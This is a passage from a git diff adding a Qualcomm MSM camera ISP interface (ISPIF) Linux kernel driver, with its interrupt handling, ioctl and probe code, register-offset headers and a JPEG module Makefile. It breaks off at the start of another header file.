out[VFE0].ispifIrqStatus2 = msm_camera_io_r(ispif->base + + ISPIF_VFE_m_IRQ_STATUS_2(VFE0)); + msm_camera_io_w_mb(out[VFE0].ispifIrqStatus2, + ispif->base + ISPIF_VFE_m_IRQ_CLEAR_2(VFE0)); + + if (ispif->vfe_info.num_vfe > 1) { + out[VFE1].ispifIrqStatus0 = msm_camera_io_r(ispif->base + + ISPIF_VFE_m_IRQ_STATUS_0(VFE1)); + msm_camera_io_w(out[VFE1].ispifIrqStatus0, + ispif->base + ISPIF_VFE_m_IRQ_CLEAR_0(VFE1)); + + out[VFE1].ispifIrqStatus1 = msm_camera_io_r(ispif->base + + ISPIF_VFE_m_IRQ_STATUS_1(VFE1)); + msm_camera_io_w(out[VFE1].ispifIrqStatus1, + ispif->base + ISPIF_VFE_m_IRQ_CLEAR_1(VFE1)); + + out[VFE1].ispifIrqStatus2 = msm_camera_io_r(ispif->base + + ISPIF_VFE_m_IRQ_STATUS_2(VFE1)); + msm_camera_io_w_mb(out[VFE1].ispifIrqStatus2, + ispif->base + ISPIF_VFE_m_IRQ_CLEAR_2(VFE1)); + } + msm_camera_io_w_mb(ISPIF_IRQ_GLOBAL_CLEAR_CMD, ispif->base + + ISPIF_IRQ_GLOBAL_CLEAR_CMD_ADDR); + + if (out[VFE0].ispifIrqStatus0 & ISPIF_IRQ_STATUS_MASK) { + if (out[VFE0].ispifIrqStatus0 & RESET_DONE_IRQ) + complete(&ispif->reset_complete[VFE0]); + + if (out[VFE0].ispifIrqStatus0 & PIX_INTF_0_OVERFLOW_IRQ) + pr_err("%s: VFE0 pix0 overflow.\n", __func__); + + if (out[VFE0].ispifIrqStatus0 & RAW_INTF_0_OVERFLOW_IRQ) + pr_err("%s: VFE0 rdi0 overflow.\n", __func__); + + if (out[VFE0].ispifIrqStatus1 & RAW_INTF_1_OVERFLOW_IRQ) + pr_err("%s: VFE0 rdi1 overflow.\n", __func__); + + if (out[VFE0].ispifIrqStatus2 & RAW_INTF_2_OVERFLOW_IRQ) + pr_err("%s: VFE0 rdi2 overflow.\n", __func__); + + ispif_process_irq(ispif, out, VFE0); + } + if (ispif->hw_num_isps > 1) { + if (out[VFE1].ispifIrqStatus0 & RESET_DONE_IRQ) + complete(&ispif->reset_complete[VFE1]); + + if (out[VFE1].ispifIrqStatus0 & PIX_INTF_0_OVERFLOW_IRQ) + pr_err("%s: VFE1 pix0 overflow.\n", __func__); + + if (out[VFE1].ispifIrqStatus0 & RAW_INTF_0_OVERFLOW_IRQ) + pr_err("%s: VFE1 rdi0 overflow.\n", __func__); + + if (out[VFE1].ispifIrqStatus1 & RAW_INTF_1_OVERFLOW_IRQ) + pr_err("%s: VFE1 rdi1 overflow.\n", __func__); + + if (out[VFE1].ispifIrqStatus2 & RAW_INTF_2_OVERFLOW_IRQ) + pr_err("%s: VFE1 rdi2 overflow.\n", __func__); + + ispif_process_irq(ispif, out, VFE1); + } +} + +static irqreturn_t msm_io_ispif_irq(int irq_num, void *data) +{ + struct ispif_irq_status irq[VFE_MAX]; + + msm_ispif_read_irq_status(irq, data); + return IRQ_HANDLED; +} + +static int msm_ispif_set_vfe_info(struct ispif_device *ispif, + struct msm_ispif_vfe_info *vfe_info) +{ + memcpy(&ispif->vfe_info, vfe_info, sizeof(struct msm_ispif_vfe_info)); + + return 0; +} + +static int msm_ispif_init(struct ispif_device *ispif, + uint32_t csid_version) +{ + int rc = 0; + + BUG_ON(!ispif); + + if (ispif->ispif_state == ISPIF_POWER_UP) { + pr_err("%s: ispif already initted state = %d\n", __func__, + ispif->ispif_state); + rc = -EPERM; + return rc; + } + + /* can we set to zero? */ + ispif->applied_intf_cmd[VFE0].intf_cmd = 0xFFFFFFFF; + ispif->applied_intf_cmd[VFE0].intf_cmd1 = 0xFFFFFFFF; + ispif->applied_intf_cmd[VFE1].intf_cmd = 0xFFFFFFFF; + ispif->applied_intf_cmd[VFE1].intf_cmd1 = 0xFFFFFFFF; + memset(ispif->sof_count, 0, sizeof(ispif->sof_count)); + + ispif->csid_version = csid_version; + + if (ispif->csid_version >= CSID_VERSION_V30) { + if (!ispif->clk_mux_mem || !ispif->clk_mux_io) { + pr_err("%s csi clk mux mem %p io %p\n", __func__, + ispif->clk_mux_mem, ispif->clk_mux_io); + rc = -ENOMEM; + return rc; + } + ispif->clk_mux_base = ioremap(ispif->clk_mux_mem->start, + resource_size(ispif->clk_mux_mem)); + if (!ispif->clk_mux_base) { + pr_err("%s: clk_mux_mem ioremap failed\n", __func__); + rc = -ENOMEM; + return rc; + } + } + + ispif->base = ioremap(ispif->mem->start, + resource_size(ispif->mem)); + if (!ispif->base) { + rc = -ENOMEM; + pr_err("%s: nomem\n", __func__); + goto end; + } + rc = request_irq(ispif->irq->start, msm_io_ispif_irq, + IRQF_TRIGGER_RISING, "ispif", ispif); + if (rc) { + pr_err("%s: request_irq error = %d\n", __func__, rc); + goto error_irq; + } + + rc = msm_ispif_clk_ahb_enable(ispif, 1); + if (rc) { + pr_err("%s: ahb_clk enable failed", __func__); + goto error_ahb; + } + + msm_ispif_reset_hw(ispif); + + rc = msm_ispif_reset(ispif); + if (rc == 0) { + ispif->ispif_state = ISPIF_POWER_UP; + CDBG("%s: power up done\n", __func__); + goto end; + } + +error_ahb: + free_irq(ispif->irq->start, ispif); +error_irq: + iounmap(ispif->base); + +end: + return rc; +} + +static void msm_ispif_release(struct ispif_device *ispif) +{ + BUG_ON(!ispif); + + if (!ispif->base) { + pr_err("%s: ispif base is NULL\n", __func__); + return; + } + + if (ispif->ispif_state != ISPIF_POWER_UP) { + pr_err("%s: ispif invalid state %d\n", __func__, + ispif->ispif_state); + return; + } + + /* make sure no streaming going on */ + msm_ispif_reset(ispif); + + msm_ispif_clk_ahb_enable(ispif, 0); + + free_irq(ispif->irq->start, ispif); + + iounmap(ispif->base); + + iounmap(ispif->clk_mux_base); + + ispif->ispif_state = ISPIF_POWER_DOWN; +} + +static long msm_ispif_cmd(struct v4l2_subdev *sd, void *arg) +{ + long rc = 0; + struct ispif_cfg_data *pcdata = (struct ispif_cfg_data *)arg; + struct ispif_device *ispif = + (struct ispif_device *)v4l2_get_subdevdata(sd); + + BUG_ON(!sd); + BUG_ON(!pcdata); + + mutex_lock(&ispif->mutex); + switch (pcdata->cfg_type) { + case ISPIF_ENABLE_REG_DUMP: + ispif->enb_dump_reg = pcdata->reg_dump; /* save dump config */ + break; + case ISPIF_INIT: + rc = msm_ispif_init(ispif, pcdata->csid_version); + msm_ispif_io_dump_reg(ispif); + break; + case ISPIF_CFG: + rc = msm_ispif_config(ispif, &pcdata->params); + msm_ispif_io_dump_reg(ispif); + break; + case ISPIF_START_FRAME_BOUNDARY: + rc = msm_ispif_start_frame_boundary(ispif, &pcdata->params); + msm_ispif_io_dump_reg(ispif); + break; + case ISPIF_STOP_FRAME_BOUNDARY: + rc = msm_ispif_stop_frame_boundary(ispif, &pcdata->params); + msm_ispif_io_dump_reg(ispif); + break; + case ISPIF_STOP_IMMEDIATELY: + rc = msm_ispif_stop_immediately(ispif, &pcdata->params); + msm_ispif_io_dump_reg(ispif); + break; + case ISPIF_RELEASE: + msm_ispif_release(ispif); + break; + case ISPIF_SET_VFE_INFO: + rc = msm_ispif_set_vfe_info(ispif, &pcdata->vfe_info); + break; + default: + pr_err("%s: invalid cfg_type\n", __func__); + rc = -EINVAL; + break; + } + mutex_unlock(&ispif->mutex); + return rc; +} +static struct v4l2_file_operations msm_ispif_v4l2_subdev_fops; + +static long msm_ispif_subdev_ioctl(struct v4l2_subdev *sd, + unsigned int cmd, void *arg) +{ +#ifdef CONFIG_COMPAT + void __user *up; + if (is_compat_task()) { + up = (void __user *)compat_ptr((unsigned long)arg); + arg = up; + } +#endif + + switch (cmd) { + case VIDIOC_MSM_ISPIF_CFG: + return msm_ispif_cmd(sd, arg); + case MSM_SD_SHUTDOWN: { + struct ispif_device *ispif = + (struct ispif_device *)v4l2_get_subdevdata(sd); + if (ispif && ispif->base) + msm_ispif_release(ispif); + return 0; + } + default: + pr_err_ratelimited("%s: invalid cmd 0x%x received\n", + __func__, cmd); + return -ENOIOCTLCMD; + } +} + +static long msm_ispif_subdev_do_ioctl( + struct file *file, unsigned int cmd, void *arg) +{ + struct video_device *vdev = video_devdata(file); + struct v4l2_subdev *sd = vdev_to_v4l2_subdev(vdev); + return msm_ispif_subdev_ioctl(sd, cmd, arg); +} + +static long msm_ispif_subdev_fops_ioctl(struct file *file, unsigned int cmd, + unsigned long arg) +{ + return video_usercopy(file, cmd, arg, msm_ispif_subdev_do_ioctl); +} + +static int ispif_open_node(struct v4l2_subdev *sd, struct v4l2_subdev_fh *fh) +{ + struct ispif_device *ispif = v4l2_get_subdevdata(sd); + + mutex_lock(&ispif->mutex); + /* mem remap is done in init when the clock is on */ + ispif->open_cnt++; + mutex_unlock(&ispif->mutex); + return 0; +} + +static int ispif_close_node(struct v4l2_subdev *sd, struct v4l2_subdev_fh *fh) +{ + int rc = 0; + struct ispif_device *ispif = v4l2_get_subdevdata(sd); + + if (!ispif) { + pr_err("%s: invalid input\n", __func__); + return -EINVAL; + } + + mutex_lock(&ispif->mutex); + if (ispif->open_cnt == 0) { + pr_err("%s: Invalid close\n", __func__); + rc = -ENODEV; + goto end; + } + ispif->open_cnt--; + if (ispif->open_cnt == 0) + msm_ispif_release(ispif); +end: + mutex_unlock(&ispif->mutex); + return rc; +} + +static struct v4l2_subdev_core_ops msm_ispif_subdev_core_ops = { + .g_chip_ident = &msm_ispif_subdev_g_chip_ident, + .ioctl = &msm_ispif_subdev_ioctl, +}; + +static const struct v4l2_subdev_ops msm_ispif_subdev_ops = { + .core = &msm_ispif_subdev_core_ops, +}; + +static const struct v4l2_subdev_internal_ops msm_ispif_internal_ops = { + .open = ispif_open_node, + .close = ispif_close_node, +}; + +static int ispif_probe(struct platform_device *pdev) +{ + int rc; + struct ispif_device *ispif; + + ispif = kzalloc(sizeof(struct ispif_device), GFP_KERNEL); + if (!ispif) { + pr_err("%s: no enough memory\n", __func__); + return -ENOMEM; + } + + if (pdev->dev.of_node) { + of_property_read_u32((&pdev->dev)->of_node, + "cell-index", &pdev->id); + rc = of_property_read_u32((&pdev->dev)->of_node, + "qcom,num-isps", &ispif->hw_num_isps); + if (rc) + /* backward compatibility */ + ispif->hw_num_isps = 1; + /* not an error condition */ + rc = 0; + } + + mutex_init(&ispif->mutex); + ispif->mem = platform_get_resource_byname(pdev, + IORESOURCE_MEM, "ispif"); + if (!ispif->mem) { + pr_err("%s: no mem resource?\n", __func__); + rc = -ENODEV; + goto error; + } + ispif->irq = platform_get_resource_byname(pdev, + IORESOURCE_IRQ, "ispif"); + if (!ispif->irq) { + pr_err("%s: no irq resource?\n", __func__); + rc = -ENODEV; + goto error; + } + ispif->io = request_mem_region(ispif->mem->start, + resource_size(ispif->mem), pdev->name); + if (!ispif->io) { + pr_err("%s: no valid mem region\n", __func__); + rc = -EBUSY; + goto error; + } + ispif->clk_mux_mem = platform_get_resource_byname(pdev, + IORESOURCE_MEM, "csi_clk_mux"); + if (ispif->clk_mux_mem) { + ispif->clk_mux_io = request_mem_region( + ispif->clk_mux_mem->start, + resource_size(ispif->clk_mux_mem), + ispif->clk_mux_mem->name); + if (!ispif->clk_mux_io) + pr_err("%s: no valid csi_mux region\n", __func__); + } + + v4l2_subdev_init(&ispif->msm_sd.sd, &msm_ispif_subdev_ops); + ispif->msm_sd.sd.internal_ops = &msm_ispif_internal_ops; + ispif->msm_sd.sd.flags |= V4L2_SUBDEV_FL_HAS_DEVNODE; + + snprintf(ispif->msm_sd.sd.name, + ARRAY_SIZE(ispif->msm_sd.sd.name), MSM_ISPIF_DRV_NAME); + v4l2_set_subdevdata(&ispif->msm_sd.sd, ispif); + + platform_set_drvdata(pdev, &ispif->msm_sd.sd); + + media_entity_init(&ispif->msm_sd.sd.entity, 0, NULL, 0); + ispif->msm_sd.sd.entity.type = MEDIA_ENT_T_V4L2_SUBDEV; + ispif->msm_sd.sd.entity.group_id = MSM_CAMERA_SUBDEV_ISPIF; + ispif->msm_sd.sd.entity.name = pdev->name; + ispif->msm_sd.close_seq = MSM_SD_CLOSE_1ST_CATEGORY | 0x1; + rc = msm_sd_register(&ispif->msm_sd); + if (rc) { + pr_err("%s: msm_sd_register error = %d\n", __func__, rc); + goto error; + } + msm_ispif_v4l2_subdev_fops.owner = v4l2_subdev_fops.owner; + msm_ispif_v4l2_subdev_fops.open = v4l2_subdev_fops.open; + msm_ispif_v4l2_subdev_fops.unlocked_ioctl = msm_ispif_subdev_fops_ioctl; + msm_ispif_v4l2_subdev_fops.release = v4l2_subdev_fops.release; + msm_ispif_v4l2_subdev_fops.poll = v4l2_subdev_fops.poll; +#ifdef CONFIG_COMPAT + msm_ispif_v4l2_subdev_fops.compat_ioctl32 = msm_ispif_subdev_fops_ioctl; +#endif + + ispif->pdev = pdev; + ispif->ispif_state = ISPIF_POWER_DOWN; + ispif->open_cnt = 0; + return 0; + +error: + mutex_destroy(&ispif->mutex); + kfree(ispif); + return rc; +} + +static const struct of_device_id msm_ispif_dt_match[] = { + {.compatible = "qcom,ispif"}, + {} +}; + +MODULE_DEVICE_TABLE(of, msm_ispif_dt_match); + +static struct platform_driver ispif_driver = { + .probe = ispif_probe, + .driver = { + .name = MSM_ISPIF_DRV_NAME, + .owner = THIS_MODULE, + .of_match_table = msm_ispif_dt_match, + }, +}; + +static int __init msm_ispif_init_module(void) +{ + return platform_driver_register(&ispif_driver); +} + +static void __exit msm_ispif_exit_module(void) +{ + platform_driver_unregister(&ispif_driver); +} + +module_init(msm_ispif_init_module); +module_exit(msm_ispif_exit_module); +MODULE_DESCRIPTION("MSM ISP Interface driver"); +MODULE_LICENSE("GPL v2"); diff --git a/drivers/media/platform/msm/camera_wt88047_v2/ispif/msm_ispif.h b/drivers/media/platform/msm/camera_wt88047_v2/ispif/msm_ispif.h new file mode 100755 index 0000000000000..26ceb29febb50 --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/ispif/msm_ispif.h @@ -0,0 +1,69 @@ +/* Copyright (c) 2013-2014, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#ifndef MSM_ISPIF_H +#define MSM_ISPIF_H + +#include +#include +#include +#include +#include "msm_sd.h" + +#define ISPIF_CLK_INFO_MAX 16 +#define ISPIF_AHB_CLK_INFO 2 + +struct ispif_irq_status { + uint32_t ispifIrqStatus0; + uint32_t ispifIrqStatus1; + uint32_t ispifIrqStatus2; +}; + +enum msm_ispif_state_t { + ISPIF_POWER_UP, + ISPIF_POWER_DOWN, +}; +struct ispif_sof_count { + uint32_t sof_cnt[INTF_MAX]; +}; + +struct ispif_intf_cmd { + uint32_t intf_cmd; + uint32_t intf_cmd1; +}; + +struct ispif_device { + struct platform_device *pdev; + struct msm_sd_subdev msm_sd; + struct resource *mem; + struct resource *clk_mux_mem; + struct resource *irq; + struct resource *io; + struct resource *clk_mux_io; + void __iomem *base; + void __iomem *clk_mux_base; + struct mutex mutex; + uint8_t start_ack_pending; + uint32_t csid_version; + int enb_dump_reg; + uint32_t open_cnt; + struct ispif_sof_count sof_count[VFE_MAX]; + struct ispif_intf_cmd applied_intf_cmd[VFE_MAX]; + enum msm_ispif_state_t ispif_state; + struct msm_ispif_vfe_info vfe_info; + struct clk *ahb_clk[ISPIF_CLK_INFO_MAX]; + struct completion reset_complete[VFE_MAX]; + uint32_t hw_num_isps; + uint32_t num_clk; + uint32_t clk_idx; +}; +#endif diff --git a/drivers/media/platform/msm/camera_wt88047_v2/ispif/msm_ispif_hwreg_v1.h b/drivers/media/platform/msm/camera_wt88047_v2/ispif/msm_ispif_hwreg_v1.h new file mode 100644 index 0000000000000..91af7cb2c4fb4 --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/ispif/msm_ispif_hwreg_v1.h @@ -0,0 +1,115 @@ +/* Copyright (c) 2013, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#ifndef __MSM_ISPIF_HWREG_V1_H__ +#define __MSM_ISPIF_HWREG_V1_H__ + +/* common registers */ +#define ISPIF_RST_CMD_ADDR 0x0000 +#define ISPIF_IRQ_GLOBAL_CLEAR_CMD_ADDR 0x0124 +#define PIX0_LINE_BUF_EN_BIT 0 + +#define ISPIF_VFE(m) (0x0) + +#define ISPIF_VFE_m_CTRL_0(m) (0x0008 + ISPIF_VFE(m)) +#define ISPIF_VFE_m_IRQ_MASK_0(m) (0x0100 + ISPIF_VFE(m)) +#define ISPIF_VFE_m_IRQ_MASK_1(m) (0x010C + ISPIF_VFE(m)) +#define ISPIF_VFE_m_IRQ_MASK_2(m) (0x0118 + ISPIF_VFE(m)) +#define ISPIF_VFE_m_IRQ_STATUS_0(m) (0x0108 + ISPIF_VFE(m)) +#define ISPIF_VFE_m_IRQ_STATUS_1(m) (0x0114 + ISPIF_VFE(m)) +#define ISPIF_VFE_m_IRQ_STATUS_2(m) (0x0120 + ISPIF_VFE(m)) +#define ISPIF_VFE_m_IRQ_CLEAR_0(m) (0x0104 + ISPIF_VFE(m)) +#define ISPIF_VFE_m_IRQ_CLEAR_1(m) (0x0110 + ISPIF_VFE(m)) +#define ISPIF_VFE_m_IRQ_CLEAR_2(m) (0x011C + ISPIF_VFE(m)) +#define ISPIF_VFE_m_INPUT_SEL(m) (0x000C + ISPIF_VFE(m)) +#define ISPIF_VFE_m_INTF_CMD_0(m) (0x0004 + ISPIF_VFE(m)) +#define ISPIF_VFE_m_INTF_CMD_1(m) (0x0030 + ISPIF_VFE(m)) +#define ISPIF_VFE_m_PIX_INTF_n_CID_MASK(m, n) (0x0010 + ISPIF_VFE(m) + 4*(n)) +#define ISPIF_VFE_m_RDI_INTF_n_CID_MASK(m, n) (0x0014 + ISPIF_VFE(m) + \ + ((n > 0) ? (0x20) : 0) \ + + 8*(n)) +#define ISPIF_VFE_m_PIX_OUTPUT_n_MISR(m, n) (0x0290 + ISPIF_VFE(m) + 4*(n)) +#define ISPIF_VFE_m_RDI_OUTPUT_n_MISR_0(m, n) (0x001C + ISPIF_VFE(m) + \ + ((n > 0) ? (0x24) : 0) \ + + 0xc*(n)) +#define ISPIF_VFE_m_RDI_OUTPUT_n_MISR_1(m, n) (0x0020 + ISPIF_VFE(m) + \ + ((n > 0) ? (0x24) : 0) \ + + 0xc*(n)) +#define ISPIF_VFE_m_PIX_INTF_n_STATUS(m, n) (0x0024 + ISPIF_VFE(m) + 4*(n)) +#define ISPIF_VFE_m_RDI_INTF_n_STATUS(m, n) (0x0028 + ISPIF_VFE(m) + \ + ((n > 0) ? (0x34) : 0) \ + + 8*(n)) + +/* Defines for compatibility with newer ISPIF versions */ +#define ISPIF_RST_CMD_1_ADDR (0x0000) +#define ISPIF_VFE_m_PIX_INTF_n_CROP(m, n) (0x0000 + ISPIF_VFE(m) + 4*(n)) +#define ISPIF_VFE_m_3D_THRESHOLD(m) (0x0000 + ISPIF_VFE(m)) +#define ISPIF_VFE_m_OUTPUT_SEL(m) (0x0000 + ISPIF_VFE(m)) +#define ISPIF_VFE_m_3D_DESKEW_SIZE(m) (0x0000 + ISPIF_VFE(m)) + + + +/* CSID CLK MUX SEL REGISTERS */ +#define ISPIF_RDI_CLK_MUX_SEL_ADDR 0x8 + +/*ISPIF RESET BITS*/ +#define VFE_CLK_DOMAIN_RST BIT(31) +#define RDI_CLK_DOMAIN_RST BIT(30) +#define PIX_CLK_DOMAIN_RST BIT(29) +#define AHB_CLK_DOMAIN_RST BIT(28) +#define RDI_1_CLK_DOMAIN_RST BIT(27) +#define PIX_1_CLK_DOMAIN_RST BIT(26) +#define RDI_2_CLK_DOMAIN_RST BIT(25) +#define RDI_2_MISR_RST_STB BIT(20) +#define RDI_2_VFE_RST_STB BIT(19) +#define RDI_2_CSID_RST_STB BIT(18) +#define RDI_1_MISR_RST_STB BIT(14) +#define RDI_1_VFE_RST_STB BIT(13) +#define RDI_1_CSID_RST_STB BIT(12) +#define PIX_1_VFE_RST_STB BIT(10) +#define PIX_1_CSID_RST_STB BIT(9) +#define RDI_0_MISR_RST_STB BIT(8) +#define RDI_0_VFE_RST_STB BIT(7) +#define RDI_0_CSID_RST_STB BIT(6) +#define PIX_0_MISR_RST_STB BIT(5) +#define PIX_0_VFE_RST_STB BIT(4) +#define PIX_0_CSID_RST_STB BIT(3) +#define SW_REG_RST_STB BIT(2) +#define MISC_LOGIC_RST_STB BIT(1) +#define STROBED_RST_EN BIT(0) + +#define ISPIF_RST_CMD_MASK 0xFE1C77FF +#define ISPIF_RST_CMD_1_MASK 0xFFFFFFFF /* undefined */ + +/* irq_mask_0 */ +#define PIX_INTF_0_OVERFLOW_IRQ BIT(12) +#define RAW_INTF_0_OVERFLOW_IRQ BIT(25) +#define RESET_DONE_IRQ BIT(27) +/* irq_mask_1 */ +#define PIX_INTF_1_OVERFLOW_IRQ BIT(12) +#define RAW_INTF_1_OVERFLOW_IRQ BIT(25) +/* irq_mask_2 */ +#define RAW_INTF_2_OVERFLOW_IRQ BIT(12) + +#define ISPIF_IRQ_STATUS_MASK 0x0A493249 +#define ISPIF_IRQ_STATUS_1_MASK 0x02493249 +#define ISPIF_IRQ_STATUS_2_MASK 0x00001249 + +#define ISPIF_IRQ_STATUS_PIX_SOF_MASK 0x000249 +#define ISPIF_IRQ_STATUS_RDI0_SOF_MASK 0x492000 +#define ISPIF_IRQ_STATUS_RDI1_SOF_MASK 0x492000 +#define ISPIF_IRQ_STATUS_RDI2_SOF_MASK 0x000249 + +#define ISPIF_IRQ_GLOBAL_CLEAR_CMD 0x000001 + +#define ISPIF_STOP_INTF_IMMEDIATELY 0xAAAAAAAA +#endif /* __MSM_ISPIF_HWREG_V1_H__ */ diff --git a/drivers/media/platform/msm/camera_wt88047_v2/ispif/msm_ispif_hwreg_v2.h b/drivers/media/platform/msm/camera_wt88047_v2/ispif/msm_ispif_hwreg_v2.h new file mode 100644 index 0000000000000..3cc21a7dce6db --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/ispif/msm_ispif_hwreg_v2.h @@ -0,0 +1,96 @@ +/* Copyright (c) 2013, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#ifndef __MSM_ISPIF_HWREG_V2_H__ +#define __MSM_ISPIF_HWREG_V2_H__ + +/* common registers */ +#define ISPIF_RST_CMD_ADDR 0x008 +#define ISPIF_RST_CMD_1_ADDR 0x00C +#define ISPIF_IRQ_GLOBAL_CLEAR_CMD_ADDR 0x01C +#define PIX0_LINE_BUF_EN_BIT 6 + +#define ISPIF_VFE(m) ((m) * 0x200) + +#define ISPIF_VFE_m_CTRL_0(m) (0x200 + ISPIF_VFE(m)) +#define ISPIF_VFE_m_IRQ_MASK_0(m) (0x208 + ISPIF_VFE(m)) +#define ISPIF_VFE_m_IRQ_MASK_1(m) (0x20C + ISPIF_VFE(m)) +#define ISPIF_VFE_m_IRQ_MASK_2(m) (0x210 + ISPIF_VFE(m)) +#define ISPIF_VFE_m_IRQ_STATUS_0(m) (0x21C + ISPIF_VFE(m)) +#define ISPIF_VFE_m_IRQ_STATUS_1(m) (0x220 + ISPIF_VFE(m)) +#define ISPIF_VFE_m_IRQ_STATUS_2(m) (0x224 + ISPIF_VFE(m)) +#define ISPIF_VFE_m_IRQ_CLEAR_0(m) (0x230 + ISPIF_VFE(m)) +#define ISPIF_VFE_m_IRQ_CLEAR_1(m) (0x234 + ISPIF_VFE(m)) +#define ISPIF_VFE_m_IRQ_CLEAR_2(m) (0x238 + ISPIF_VFE(m)) +#define ISPIF_VFE_m_INPUT_SEL(m) (0x244 + ISPIF_VFE(m)) +#define ISPIF_VFE_m_INTF_CMD_0(m) (0x248 + ISPIF_VFE(m)) +#define ISPIF_VFE_m_INTF_CMD_1(m) (0x24C + ISPIF_VFE(m)) +#define ISPIF_VFE_m_PIX_INTF_n_CID_MASK(m, n) (0x254 + ISPIF_VFE(m) + 4*(n)) +#define ISPIF_VFE_m_RDI_INTF_n_CID_MASK(m, n) (0x264 + ISPIF_VFE(m) + 4*(n)) +#define ISPIF_VFE_m_PIX_INTF_n_CROP(m, n) (0x278 + ISPIF_VFE(m) + 4*(n)) +#define ISPIF_VFE_m_3D_THRESHOLD(m) (0x288 + ISPIF_VFE(m)) +#define ISPIF_VFE_m_OUTPUT_SEL(m) (0x28C + ISPIF_VFE(m)) +#define ISPIF_VFE_m_PIX_OUTPUT_n_MISR(m, n) (0x290 + ISPIF_VFE(m) + 4*(n)) +#define ISPIF_VFE_m_RDI_OUTPUT_n_MISR_0(m, n) (0x298 + ISPIF_VFE(m) + 8*(n)) +#define ISPIF_VFE_m_RDI_OUTPUT_n_MISR_1(m, n) (0x29C + ISPIF_VFE(m) + 8*(n)) +#define ISPIF_VFE_m_PIX_INTF_n_STATUS(m, n) (0x2C0 + ISPIF_VFE(m) + 4*(n)) +#define ISPIF_VFE_m_RDI_INTF_n_STATUS(m, n) (0x2D0 + ISPIF_VFE(m) + 4*(n)) +#define ISPIF_VFE_m_3D_DESKEW_SIZE(m) (0x2E4 + ISPIF_VFE(m)) + +/* CSID CLK MUX SEL REGISTERS */ +#define ISPIF_RDI_CLK_MUX_SEL_ADDR 0x8 + +/*ISPIF RESET BITS*/ +#define VFE_CLK_DOMAIN_RST BIT(31) +#define PIX_1_CLK_DOMAIN_RST BIT(30) +#define PIX_CLK_DOMAIN_RST BIT(29) +#define RDI_2_CLK_DOMAIN_RST BIT(28) +#define RDI_1_CLK_DOMAIN_RST BIT(27) +#define RDI_CLK_DOMAIN_RST BIT(26) +#define AHB_CLK_DOMAIN_RST BIT(25) +#define RDI_2_VFE_RST_STB BIT(12) +#define RDI_2_CSID_RST_STB BIT(11) +#define RDI_1_VFE_RST_STB BIT(10) +#define RDI_1_CSID_RST_STB BIT(9) +#define RDI_0_VFE_RST_STB BIT(8) +#define RDI_0_CSID_RST_STB BIT(7) +#define PIX_1_VFE_RST_STB BIT(6) +#define PIX_1_CSID_RST_STB BIT(5) +#define PIX_0_VFE_RST_STB BIT(4) +#define PIX_0_CSID_RST_STB BIT(3) +#define SW_REG_RST_STB BIT(2) +#define MISC_LOGIC_RST_STB BIT(1) +#define STROBED_RST_EN BIT(0) + +#define ISPIF_RST_CMD_MASK 0xFE0F1FFF +#define ISPIF_RST_CMD_1_MASK 0xFC0F1FF9 + +#define PIX_INTF_0_OVERFLOW_IRQ BIT(12) +#define RAW_INTF_0_OVERFLOW_IRQ BIT(25) +#define RAW_INTF_1_OVERFLOW_IRQ BIT(25) +#define RAW_INTF_2_OVERFLOW_IRQ BIT(12) +#define RESET_DONE_IRQ BIT(27) + +#define ISPIF_IRQ_STATUS_MASK 0x0A493249 +#define ISPIF_IRQ_STATUS_1_MASK 0x02493249 +#define ISPIF_IRQ_STATUS_2_MASK 0x00001249 + +#define ISPIF_IRQ_STATUS_PIX_SOF_MASK 0x249 +#define ISPIF_IRQ_STATUS_RDI0_SOF_MASK 0x492000 +#define ISPIF_IRQ_STATUS_RDI1_SOF_MASK 0x492000 +#define ISPIF_IRQ_STATUS_RDI2_SOF_MASK 0x249 + +#define ISPIF_IRQ_GLOBAL_CLEAR_CMD 0x1 + +#define ISPIF_STOP_INTF_IMMEDIATELY 0xAAAAAAAA + +#endif /* __MSM_ISPIF_HWREG_V2_H__ */ diff --git a/drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/Makefile b/drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/Makefile new file mode 100644 index 0000000000000..35a3195accafa --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/Makefile @@ -0,0 +1,6 @@ +GCC_VERSION := $(shell $(CONFIG_SHELL) $(PWD)/scripts/gcc-version.sh $(CROSS_COMPILE)gcc) + +ccflags-y += -Idrivers/media/platform/msm/camera_v2/jpeg_10 +ccflags-y += -Idrivers/media/platform/msm/camera_v2/sensor/io + +obj-$(CONFIG_MSMB_JPEG) += msm_jpeg_dev.o msm_jpeg_sync.o msm_jpeg_core.o msm_jpeg_hw.o msm_jpeg_platform.o diff --git a/drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_common.h b/drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_common.h new file mode 100644 index 0000000000000..634becafc5756 --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_common.h @@ -0,0 +1,39 @@ +/* Copyright (c) 2012-2013, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#ifndef 